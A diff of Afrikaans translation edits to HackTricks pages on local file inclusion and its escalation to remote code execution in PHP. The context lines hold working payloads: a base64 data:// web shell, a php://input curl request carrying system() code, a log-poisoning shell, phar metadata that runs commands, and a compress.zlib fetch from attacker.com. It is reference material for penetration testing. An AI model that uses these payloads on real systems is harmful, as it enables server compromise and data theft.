 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!NOTE]
-> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string nodig gehad het wat in `.txt` eindig, so die string eindig daarmee en na die b64 dekodeer sal daardie deel net rommel teruggee en die werklike PHP-kode sal ingesluit word (en dus, uitgevoer).
+> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string nodig gehad het wat in `.txt` eindig, so die string eindig daarmee en na die b64 dekodeer sal daardie deel net rommel teruggee en die werklike PHP kode sal ingesluit word (en dus, uitgevoer).
 
 Nog 'n voorbeeld **wat nie die `php://` protokol gebruik nie** sou wees:
 ```
 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 ```
-## Python Wortel element
+## Python Root element
 
-In python in 'n kode soos hierdie:
+In python in a code like this one:
 ```python
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
@@ -167,13 +167,13 @@ As die gebruiker 'n **absolute pad** na **`file_name`** deurgee, word die **vori
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
-Dit is die bedoelde gedrag volgens [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
+Dit is die bedoelde gedrag volgens [die dokumentasie](https://docs.python.org/3.10/library/os.path.html#os.path.join):
 
-> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en die aansluiting gaan voort vanaf die absolute padkomponent.
+> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die aansluiting voort vanaf die absolute padkomponent.
 
 ## Java Lys Gidsen
 
-Dit lyk of jy 'n Pad Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids word teruggestuur**. Dit sal nie in ander tale gebeur nie (sover ek weet).
+Dit lyk of as jy 'n Pad Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids teruggestuur word**. Dit sal nie in ander tale gebeur nie (sover ek weet).
 
 ## Top 25 parameters
 
@@ -287,7 +287,7 @@ In die pos is 'n hulpmiddel om dit outomaties uit te voer ook gelekt: [php_filte
 
 ### php://fd
 
-Hierdie wrapper laat toegang toe tot lêerdeskriptor wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te eksfiltreer:
+Hierdie wrapper laat toegang toe tot lêer beskrywings wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te eksfiltreer:
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
@@ -339,7 +339,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
 ```
 ### phar://
 
-'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai benut. Die PHP-kodesnit hieronder demonstreer die skepping van 'n `.phar`-lêer:
+'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai benut. Die PHP-kodefragment hieronder demonstreer die skepping van 'n `.phar`-lêer:
 ```php
 <?php
 $phar = new Phar('test.phar');
@@ -352,11 +352,11 @@ Om die `.phar`-lêer te kompileer, moet die volgende opdrag uitgevoer word:
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-By uitvoering sal 'n lêer genaamd `test.phar` geskep word, wat moontlik benut kan word om Local File Inclusion (LFI) kwesbaarhede te ontgin.
+By uitvoering sal 'n lêer genaamd `test.phar` geskep word, wat moontlik benut kan word om Local File Inclusion (LFI) kwesbaarhede te exploiteer.
 
-In gevalle waar die LFI slegs lêerlees uitvoer sonder om die PHP-kode binne-in uit te voer, deur funksies soos `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, of `filesize()`, kan 'n poging aangewend word om 'n deserialisering kwesbaarheid te ontgin. Hierdie kwesbaarheid is geassosieer met die lees van lêers met die `phar` protokol.
+In gevalle waar die LFI slegs lêerlees uitvoer sonder om die PHP-kode binne-in uit te voer, deur funksies soos `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, of `filesize()`, kan 'n poging tot die uitbuiting van 'n deserialisering kwesbaarheid gemaak word. Hierdie kwesbaarheid is geassosieer met die lees van lêers met behulp van die `phar` protokol.
 
-Vir 'n gedetailleerde begrip van die ontginning van deserialisering kwesbaarhede in die konteks van `.phar` lêers, verwys na die dokument wat hieronder gekoppel is:
+Vir 'n gedetailleerde begrip van die uitbuiting van deserialisering kwesbaarhede in die konteks van `.phar` lêers, verwys na die dokument wat hieronder gekoppel is:
 
 [Phar Deserialization Exploitation Guide](phar-deserialization.md)
 
@@ -427,11 +427,11 @@ Soos voorheen verduidelik, [**volg hierdie skakel**](./#remote-file-inclusion).
 As die Apache of Nginx bediener **kwesbaar is vir LFI** binne die insluitingsfunksie kan jy probeer om toegang te verkry tot **`/var/log/apache2/access.log` of `/var/log/nginx/access.log`**, stel binne die **gebruikersagent** of binne 'n **GET parameter** 'n php shell soos **`<?php system($_GET['c']); ?>`** en sluit daardie lêer in.
 
 > [!WARNING]
-> Let daarop dat **as jy dubbele aanhalings gebruik** vir die shell in plaas van **enkele aanhalings**, die dubbele aanhalings sal verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word** nie.
+> Let daarop dat **as jy dubbele aanhalings** vir die shell gebruik in plaas van **enkele aanhalings**, die dubbele aanhalings sal verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word** nie.
 >
-> Maak ook seker dat jy **die payload korrek skryf** of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
+> Maak ook seker dat jy die **payload korrek skryf** of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
 
-Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die kopstuk **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie kopstuk ingevoeg word.\
+Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die koptekst **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie koptekst ingevoeg word.\
 Ander moontlike log paaie:
 ```python
 /var/log/apache2/access.log
@@ -468,7 +468,7 @@ As jy 'n lêer kan oplaai, voeg net die shell payload daarin in (bv: `<?php syst
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
-Om die lêer leesbaar te hou, is dit die beste om in die metadata van die prente/doc/pdf te injecteer.
+Om die lêer leesbaar te hou, is dit die beste om in die metadata van die prente/doc/pdf in te spuit.
 
 ### Deur Zip-lêer op te laai
 
@@ -525,7 +525,7 @@ lfi2rce-via-php-filters.md
 
 ### Via segmentasiefout
 
-**Laai** 'n lêer op wat as **tydelik** in `/tmp` gestoor sal word, dan in die **dieselfde versoek,** veroorsaak 'n **segmentasiefout**, en dan sal die **tydelike lêer nie verwyder** word nie en jy kan daarna soek.
+**Laai** 'n lêer op wat as **tydelik** in `/tmp` gestoor sal word, dan in die **dieselfde versoek,** veroorsaak 'n **segmentasiefout**, en dan sal die **tydelike lêer nie verwyder word** nie en jy kan daarna soek.
 
 {{#ref}}
 lfi2rce-via-segmentation-fault.md
@@ -533,7 +533,7 @@ lfi2rce-via-segmentation-fault.md
 
 ### Via Nginx tydelike lêer stoor
 
-As jy 'n **Plaaslike Lêer Insluiting** gevind het en **Nginx** loop voor PHP, kan jy dalk RCE verkry met die volgende tegniek:
+As jy 'n **Plaaslike Lêer Insluiting** gevind het en **Nginx** voor PHP loop, kan jy dalk RCE verkry met die volgende tegniek:
 
 {{#ref}}
 lfi2rce-via-nginx-temp-files.md
@@ -588,7 +588,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 
 ### Via eternal waiting + bruteforce
 
-As jy die LFI kan misbruik om **tydelike lêers op te laai** en die bediener **te laat hang** die PHP uitvoering, kan jy dan **brute force lêernames oor ure** om die tydelike lêer te vind:
+As jy die LFI kan misbruik om **tydelike lêers op te laai** en die bediener **hang** die PHP uitvoering, kan jy dan **brute force lêernames oor ure** om die tydelike lêer te vind:
 
 {{#ref}}
 lfi2rce-via-eternal-waiting.md
@@ -599,7 +599,7 @@ lfi2rce-via-eternal-waiting.md
 As jy enige van die lêers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
 
 **Ek weet nie hoe dit nuttig is nie, maar dit mag wees.**\
-&#xNAN;_&#x45; selfs as jy 'n PHP Fatal Error veroorsaak, word PHP tydelike lêers wat opgelaai is, verwyder._
+&#xNAN;_&#x45;selfs as jy 'n PHP Fatal Error veroorsaak, word PHP tydelike lêers wat opgelaai is, verwyder._
 
 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
 

src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

@@ -1,16 +1,16 @@
-# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Pad Ontdekking
+# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Padontsluiting
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ### `compress.zlib://` en `PHP_STREAM_PREFER_STDIO`
 
-'n Lêer wat geopen is met die protokol `compress.zlib://` met die vlag `PHP_STREAM_PREFER_STDIO` kan voortgaan om data te skryf wat later na die verbinding kom na dieselfde lêer.
+'n Lêer wat geopen is met die protokol `compress.zlib://` met die vlag `PHP_STREAM_PREFER_STDIO` kan voortgaan om data wat later na die verbinding aankom na dieselfde lêer te skryf.
 
 Dit beteken dat 'n oproep soos:
 ```php
 file_get_contents("compress.zlib://http://attacker.com/file")
 ```
-Sal 'n versoek stuur wat vra vir http://attacker.com/file, dan mag die bediener die versoek met 'n geldige HTTP-respons beantwoord, die verbinding oop hou, en ekstra data 'n rukkie later stuur wat ook in die lêer geskryf sal word.
+Sal 'n versoek stuur wat vra vir http://attacker.com/file, dan mag die bediener die versoek beantwoord met 'n geldige HTTP-antwoorde, die verbinding oop hou, en ekstra data 'n rukkie later stuur wat ook in die lêer geskryf sal word.
 
 Jy kan daardie inligting in hierdie deel van die php-src kode in main/streams/cast.c sien:
 ```c
@@ -26,7 +26,7 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
 
 [**Hierdie CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) is opgelos met die vorige truuk.
 
-Die aanvaller sal die **slagoffer bediener 'n verbinding laat oopmaak wat 'n lêer van die aanvaller se bediener lees** met behulp van die **`compress.zlib`** protokol.
+Die aanvaller sal die **slagoffer bediener 'n verbinding laat oopmaak wat 'n lêer van die aanvallers bediener lees** met behulp van die **`compress.zlib`** protokol.
 
 **Terwyl** hierdie **verbinding** bestaan, sal die aanvaller die **pad** na die tydelike lêer wat geskep is **uitvoer** (dit is gelekt deur die bediener).
 

src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md

@@ -17,29 +17,29 @@ Ook, die **aantal potensiële lêernames is 62\*62\*62\*62\*62\*62 = 56800235584
 
 ### Ander tegnieke
 
-Ander tegnieke berus op die aanval van PHP protokolle (jy sal nie kan as jy net die laaste deel van die pad beheer nie), die pad van die lêer openbaar, die misbruik van verwagte lêers, of **om PHP 'n segmentasiefout te laat ly sodat opgelaaide tydelike lêers nie verwyder word nie**.\
-Hierdie tegniek is **baie soortgelyk aan die laaste een, maar sonder om 'n nuldag te vind**.
+Ander tegnieke berus op die aanval van PHP protokolle (jy sal nie kan as jy net die laaste deel van die pad beheer nie), die pad van die lêer bekend te maak, die verwagte lêers te misbruik, of **PHP te laat ly aan 'n segmentasiefout sodat opgelaaide tydelike lêers nie verwyder word nie**.\
+Hierdie tegniek is **baie soortgelyk aan die laaste een, maar sonder om 'n nul dag te vind**.
 
-### Ewige wagtegniek
+### Ewige wag tegniek
 
-In hierdie tegniek **het ons net 'n relatiewe pad nodig om te beheer**. As ons daarin slaag om lêers op te laai en die **LFI nooit te laat eindig nie**, sal ons "genoeg tyd" hê om **brute-force opgelaaide lêers** en **te vind** enige van die opgelaaide.
+In hierdie tegniek **het ons net 'n relatiewe pad te beheer**. As ons daarin slaag om lêers op te laai en die **LFI nooit te laat eindig nie**, sal ons "genoeg tyd" hê om **brute-force opgelaaide lêers** en **te vind** enige van die opgelaaide.
 
 **Voordele van hierdie tegniek**:
 
 - Jy moet net 'n relatiewe pad binne 'n insluiting beheer
 - Vereis nie nginx of 'n onverwagte vlak van toegang tot log lêers nie
-- Vereis nie 'n 0-dag om 'n segmentasiefout te veroorsaak nie
-- Vereis nie 'n pad openbaar nie
+- Vereis nie 'n 0 dag om 'n segmentasiefout te veroorsaak nie
+- Vereis nie 'n pad bekendmaking nie
 
 Die **hoofprobleme** van hierdie tegniek is:
 
 - 'n Spesifieke lêer(s) moet teenwoordig wees (daar mag meer wees)
-- Die **mal** hoeveelheid potensiële lêernames: **56800235584**
+- Die **insane** hoeveelheid potensiële lêernames: **56800235584**
 - As die bediener **nie syfers gebruik nie** is die totale potensiële hoeveelheid: **19770609664**
 - Standaard kan **slegs 20 lêers** in 'n **enkele versoek** opgelaai word.
 - Die **maksimum aantal parallelle werkers** van die gebruikte bediener.
 - Hierdie limiet saam met die vorige kan hierdie aanval te lank laat duur
-- **Tydsduur vir 'n PHP versoek**. Ideaal gesproke moet dit ewige wees of die PHP-proses moet doodgemaak word sonder om die tydelike opgelaaide lêers te verwyder, anders sal dit ook 'n pyn wees
+- **Tydsduur vir 'n PHP versoek**. Ideaal gesproke moet dit ewige wees of die PHP-proses moet doodmaak sonder om die tydelike opgelaaide lêers te verwyder, anders sal dit ook 'n pyn wees
 
 So, hoe kan jy **maak dat 'n PHP insluiting nooit eindig nie**? Net deur die lêer **`/sys/kernel/security/apparmor/revision`** in te sluit (**nie beskikbaar in Docker houers** ongelukkig...). 
 
@@ -50,7 +50,7 @@ include("/sys/kernel/security/apparmor/revision");
 ```
 ## Apache2
 
-Standaard ondersteun Apache **150 gelyktydige verbindings**, volgens [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) is dit moontlik om hierdie getal tot 8000 te verhoog. Volg dit om PHP met daardie module te gebruik: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
+Standaard ondersteun Apache **150 gelyktydige verbindings**, volgens [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) is dit moontlik om hierdie getal tot 8000 op te gradeer. Volg dit om PHP met daardie module te gebruik: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
 
 Standaard, (soos ek in my toetse kan sien), kan 'n **PHP-proses ewig duur**.
 
@@ -65,20 +65,20 @@ Kom ons doen 'n bietjie wiskunde:
 > [!WARNING]
 > Let daarop dat ons in die vorige voorbeeld **heeltemal ander kliënte DoSing**!
 
-As die Apache-bediener verbeter word en ons **4000 verbindings** kan misbruik (halfpad na die maksimum getal). Ons kan `3999*20 = 79980` **lêers** skep en die **getal** sou **verlaag** word tot ongeveer **19.7h** of **6.9h** (10h, 3.5h 50% kans).
+As die Apache-bediener verbeter word en ons **4000 verbindings** kan misbruik (helfte van die maksimum getal). Ons kan `3999*20 = 79980` **lêers** skep en die **getal** sou **verminder** tot ongeveer **19.7h** of **6.9h** (10h, 3.5h 50% kans).
 
 ## PHP-FMP
 
-As in plaas daarvan om die gewone php-mod vir apache te gebruik om PHP-skripte uit te voer die **webblad gebruik** **PHP-FMP** (dit verbeter die doeltreffendheid van die webblad, so dit is algemeen om dit te vind), is daar iets anders wat gedoen kan word om die tegniek te verbeter.
+As die **webblad** **PHP-FMP** gebruik in plaas van die gewone php-mod vir apache om PHP-skripte uit te voer (dit verbeter die doeltreffendheid van die webblad, so dit is algemeen om dit te vind), is daar iets anders wat gedoen kan word om die tegniek te verbeter.
 
 PHP-FMP laat toe om die **parameter** **`request_terminate_timeout`** in **`/etc/php/<php-version>/fpm/pool.d/www.conf`** te **konfigureer**.\
-Hierdie parameter dui die maksimum aantal sekondes aan **wanneer** **versoek aan PHP moet beëindig** (oneindig per standaard, maar **30s as die param nie kommentaar is nie**). Wanneer 'n versoek deur PHP verwerk word, word die aangeduide aantal sekondes, dit **vermoor**. Dit beteken, dat as die versoek tydelike lêers opgelaai het, omdat die **php-verwerking gestop is**, daardie **lêers nie verwyder gaan word**. Daarom, as jy 'n versoek kan laat duur vir daardie tyd, kan jy **duisende tydelike lêers genereer** wat nie verwyder gaan word nie, wat die **proses om hulle te vind** versnel en die waarskynlikheid van 'n DoS op die platform verminder deur al die verbindings te verbruik.
+Hierdie parameter dui die maksimum aantal sekondes aan **wanneer** **versoek aan PHP moet beëindig** (oneindig per standaard, maar **30s as die param nie kommentaar is nie**). Wanneer 'n versoek deur PHP verwerk word, word die aangeduide aantal sekondes, dit **doodgemaak**. Dit beteken, dat as die versoek tydelike lêers opgelaai het, omdat die **php-verwerking gestop is**, daardie **lêers nie verwyder gaan word** nie. Daarom, as jy 'n versoek kan laat duur vir daardie tyd, kan jy **duisende tydelike lêers genereer** wat nie verwyder gaan word nie, wat die **proses om hulle te vind** versnel en die waarskynlikheid van 'n DoS aan die platform verminder deur al die verbindings te verbruik.
 
-So, om **DoS te vermy** kom ons veronderstel dat 'n **aanvaller slegs 100 verbindings** terselfdertyd sal gebruik en die maksimum verwerkingstyd van php deur **php-fmp** (`request_terminate_timeout`**)** is **30s**. Daarom, die aantal **tydelike lêers** wat per **sekonde** gegenereer kan word is `100*20/30 = 66.67`.
+So, om **DoS** te **vermy**, kom ons veronderstel dat 'n **aanvaller slegs 100 verbindings** terselfdertyd sal gebruik en die maksimum verwerkingstyd van php deur **php-fmp** (`request_terminate_timeout`**)** is **30s**. Daarom, die aantal **tydelike lêers** wat per sekonde gegenereer kan word is `100*20/30 = 66.67`.
 
-Dan, om **10000 lêers** te genereer, sal 'n aanvaller nodig hê: **`10000/66.67 = 150s`** (om **100000 lêers** te genereer sal die tyd **25min** wees).
+Dan, om **10000 lêers** te genereer, sal 'n aanvaller nodig hê: **`10000/66.67 = 150s`** (om **100000 lêers** te genereer, sal die tyd **25min** wees).
 
-Dan kan die aanvaller daardie **100 verbindings** gebruik om 'n **soek brute-force** uit te voer. \*\*\*\* Veronderstel 'n spoed van 300 req/s is die tyd wat nodig is om dit te ontgin die volgende:
+Dan kan die aanvaller daardie **100 verbindings** gebruik om 'n **soek brute-force** uit te voer. \*\*\*\* Veronderstel 'n spoed van 300 req/s, die tyd wat nodig is om dit te ontgin is die volgende:
 
 - 56800235584 / 10000 / 300 / 3600 \~= **5.25 ure** (50% kans in 2.63h)
 - (met 100000 lêers) 56800235584 / 100000 / 300 / 3600 \~= **0.525 ure** (50% kans in 0.263h)
@@ -88,7 +88,7 @@ Ja, dit is moontlik om 100000 tydelike lêers in 'n EC2 medium-grootte instansie
 <figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
 
 > [!WARNING]
-> Let daarop dat om die tydsbeperking te aktiveer, dit **genoeg sou wees om die kwesbare LFI-bladsy in te sluit**, sodat dit in 'n ewige insluitingslus ingaan.
+> Let daarop dat dit **genoeg sou wees om die kwesbare LFI-bladsy in te sluit** om die tydsduur te aktiveer, sodat dit in 'n ewige insluitingslus ingaan.
 
 ## Nginx
 

src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md

@@ -1,4 +1,4 @@
-# LFI2RCE via Nginx temp files
+# LFI2RCE via Nginx tydelike lêers
 
 {{#include ../../banners/hacktricks-training.md}}
 

src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md

@@ -4,9 +4,9 @@
 
 ## Intro
 
-Hierdie [**skrywe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud** as uitvoer te genereer. Dit beteken basies dat jy **arbitrêre php kode** kan **genereer** vir die insluiting **sonder om dit** in 'n lêer te skryf.
+Hierdie [**skrywe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud** as uitvoer te genereer. Dit beteken basies dat jy **arbitrêre php kode** kan genereer vir die insluiting **sonder om dit** in 'n lêer te skryf.
 
-Basies is die doel van die skrif om 'n **Base64** string aan die **begin** van die lêer te genereer wat uiteindelik **gedecodeer** sal word om die verlangde payload te verskaf wat deur `include` **geïterpreteer** sal word.
+Basies is die doel van die skrif om 'n **Base64** string aan die **begin** van die lêer te genereer wat uiteindelik **gedecodeer** sal word om die gewenste payload te verskaf wat deur `include` **geïterpreteer** sal word.
 
 Die basisse om dit te doen is:
 
@@ -16,17 +16,17 @@ Die basisse om dit te doen is:
 Die lus om arbitrêre inhoud te genereer is:
 
 1. voeg `\x1b$)C` aan ons string vooraf soos hierbo beskryf
-2. pas 'n ketting van iconv omskakelings toe wat ons aanvanklike base64 ongeskonde laat en die deel wat ons net voorafgevoeg het, omskakel na 'n string waar die enigste geldige base64 karakter die volgende deel van ons base64-gecodeerde php kode is
+2. pas 'n ketting van iconv omskakelings toe wat ons aanvanklike base64 intak laat en die deel wat ons net voorafgevoeg het, omskakel na 'n string waar die enigste geldige base64 karakter die volgende deel van ons base64-gecodeerde php kode is
 3. base64-decode en base64-encode die string wat enige rommel tussenin sal verwyder
 4. Gaan terug na 1 as die base64 wat ons wil konstrueer nog nie klaar is nie
 5. base64-decode om ons php kode te kry
 
 > [!WARNING]
-> **Insluitings** doen gewoonlik dinge soos **om ".php" aan die einde** van die lêer toe te voeg, wat die uitbuiting hiervan moeilik kan maak omdat jy 'n .php lêer met 'n inhoud moet vind wat nie die uitbuiting doodmaak nie... of jy **kan net `php://temp` as hulpbron gebruik** omdat dit **enige iets aan die naam kan hê** (soos +".php") en dit sal steeds die uitbuiting laat werk!
+> **Insluitings** doen gewoonlik dinge soos **om ".php" aan die einde** van die lêer toe te voeg, wat die uitbuiting hiervan moeilik kan maak omdat jy 'n .php lêer met 'n inhoud moet vind wat nie die uitbuiting doodmaak nie... of jy **kan net `php://temp` as hulpbron gebruik** omdat dit **enigiets in die naam kan hê** (soos +".php") en dit sal steeds die uitbuiting laat werk!
 
-## Hoe om ook agtervoegsels aan die resultaatdata toe te voeg
+## Hoe om ook agtervoegsels by die resultaatdata te voeg
 
-[**Hierdie skrywe verduidelik**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) hoe jy steeds PHP filters kan misbruik om agtervoegsels aan die resultaatstring toe te voeg. Dit is wonderlik in die geval jy die uitvoer met 'n spesifieke formaat moet hê (soos json of dalk om 'n paar PNG magiese bytes by te voeg)
+[**Hierdie skrywe verduidelik**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) hoe jy steeds PHP filters kan misbruik om agtervoegsels by die resultaatstring te voeg. Dit is wonderlik in die geval waar jy die uitvoer in 'n spesifieke formaat moet hê (soos json of dalk om 'n paar PNG magiese bytes by te voeg)
 
 ## Outomatiese Gereedskap
 

src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

@@ -16,7 +16,7 @@ U moet ook die **payload** aan die begin van die exploit verander (byvoorbeeld v
 
 ### Teorie
 
-As opgelaai word in PHP toegelaat en jy probeer om 'n lêer op te laai, word hierdie lêers in 'n tydelike gids gestoor totdat die bediener klaar is met die verwerking van die versoek, dan word hierdie tydelike lêers verwyder.
+As opgelaai word in PHP en jy probeer om 'n lêer op te laai, word hierdie lêers in 'n tydelike gids gestoor totdat die bediener klaar is met die verwerking van die versoek, dan word hierdie tydelike lêers verwyder.
 
 As jy 'n LFI kwesbaarheid in die webbediener gevind het, kan jy probeer om die naam van die tydelike lêer wat geskep is te raai en 'n RCE te exploiteer deur toegang te verkry tot die tydelike lêer voordat dit verwyder word.
 
@@ -26,7 +26,7 @@ In **linux** was die naam van die lêer gewoonlik **random** en geleë in **/tmp
 
 **phpinfo()**
 
-**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **na die kliënt gestuur**. Dan kan die kliënt **'n groot aantal groot versoeke stuur** (met groot koptekste) **wat 'n php** omgekeerde **shell oplaai**, wag vir die **eerste deel van die phpinfo() om teruggestuur te word** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die tydelike lêer te verkry** voordat die php-bediener die lêer verwyder deur 'n LFI kwesbaarheid te exploiteer.
+**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **na die kliënt gestuur**. Dan kan die kliënt **'n groot aantal groot versoeke stuur** (met groot koppe) **wat 'n php** omgekeerde **shell oplaai**, wag vir die **eerste deel van die phpinfo() om teruggestuur te word** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die tydelike lêer te verkry** voordat die php-bediener die lêer verwyder deur 'n LFI kwesbaarheid te exploiteer.
 
 **Python-skrip om te probeer om die naam te bruteforce (as lengte = 6)**
 ```python

src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md

@@ -4,7 +4,7 @@
 
 ## **PHP Lêer opgelaai**
 
-Wanneer 'n **PHP** enjin 'n **POST versoek** ontvang wat lêers bevat wat volgens RFC 1867 geformateer is, genereer dit tydelike lêers om die opgelaaide data te stoor. Hierdie lêers is noodsaaklik vir lêeroplaai hanteer in PHP-skripte. Die `move_uploaded_file` funksie moet gebruik word om hierdie tydelike lêers na 'n gewenste ligging te verskuif indien volhoubare stoorplek buite die skrip se uitvoering benodig word. Na uitvoering, verwyder PHP outomaties enige oorblywende tydelike lêers.
+Wanneer 'n **PHP** enjin 'n **POST versoek** ontvang wat lêers bevat wat volgens RFC 1867 geformateer is, genereer dit tydelike lêers om die opgelaaide data te stoor. Hierdie lêers is noodsaaklik vir lêeroplaai hanteering in PHP-skripte. Die `move_uploaded_file` funksie moet gebruik word om hierdie tydelike lêers na 'n gewenste ligging te verskuif indien volhoubare stoorplek buite die skrip se uitvoering benodig word. Na uitvoering, verwyder PHP outomaties enige oorblywende tydelike lêers.
 
 > [!NOTE]
 > **Sekuriteitswaarskuwing: Aanvallers, wat bewus is van die tydelike lêers se ligging, mag 'n Local File Inclusion kwesbaarheid benut om kode uit te voer deur toegang tot die lêer tydens opgelaai.**
@@ -19,7 +19,7 @@ Op Windows genereer PHP tydelike lêernaam met die `GetTempFileName` funksie, wa
 - Die voorvoegsel is gewoonlik "php".
 - Die `<uuuu>` verteenwoordig 'n unieke hexadesimale waarde. Belangrik, as gevolg van die funksie se beperking, word slegs die laer 16 bits gebruik, wat 'n maksimum van 65,535 unieke name met konstante pad en voorvoegsel moontlik maak, wat brute force haalbaar maak.
 
-Boonop is die eksploitasiestap vereenvoudig op Windows stelsels. 'n Eienaardigheid in die `FindFirstFile` funksie laat die gebruik van wildcard in Local File Inclusion (LFI) paaie toe. Dit stel in staat om 'n insluitpad soos die volgende te skep om die tydelike lêer te vind:
+Boonop is die eksploitasiestap vereenvoudig op Windows stelsels. 'n Eienaardigheid in die `FindFirstFile` funksie laat die gebruik van wildcard in Local File Inclusion (LFI) pades toe. Dit stel in staat om 'n insluitpad soos die volgende te skep om die tydelike lêer te vind:
 ```
 http://site/vuln.php?inc=c:\windows\temp\php<<
 ```
@@ -27,6 +27,6 @@ In sekere situasies mag 'n meer spesifieke masker (soos `php1<<` of `phpA<<`) be
 
 #### Exploitatie op GNU/Linux Stelsels
 
-Vir GNU/Linux stelsels is die ewekansigheid in tydelike lêernaamgewing robuust, wat die name nie voorspelbaar of kwesbaar vir brute force-aanvalle maak nie. Verdere besonderhede kan in die verwysde dokumentasie gevind word.
+Vir GNU/Linux stelsels is die ewekansigheid in tydelike lêernaamgewing robuust, wat die name nie voorspelbaar of vatbaar vir brute force-aanvalle maak nie. Verdere besonderhede kan in die verwysde dokumentasie gevind word.
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/file-inclusion/phar-deserialization.md

@@ -8,7 +8,7 @@
 
 Die beste ding van hierdie eienskap is dat hierdie deserialisering sal plaasvind selfs met PHP-funksies wat nie PHP-kode eval nie, soos **file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**.
 
-So, stel jou 'n situasie voor waar jy 'n PHP-web kan laat die grootte van 'n arbitrêre lêer kry met behulp van die **`phar://`** protokol, en binne die kode vind jy 'n **klas** soortgelyk aan die volgende een:
+So, stel jou 'n situasie voor waar jy 'n PHP-web kan laat die grootte van 'n arbitrêre lêer kry met die **`phar://`** protokol, en binne die kode vind jy 'n **klas** soortgelyk aan die volgende:
 ```php:vunl.php
 <?php
 class AnyClass {
@@ -50,7 +50,7 @@ $object = new AnyClass('whoami');
 $phar->setMetadata($object);
 $phar->stopBuffering();
 ```
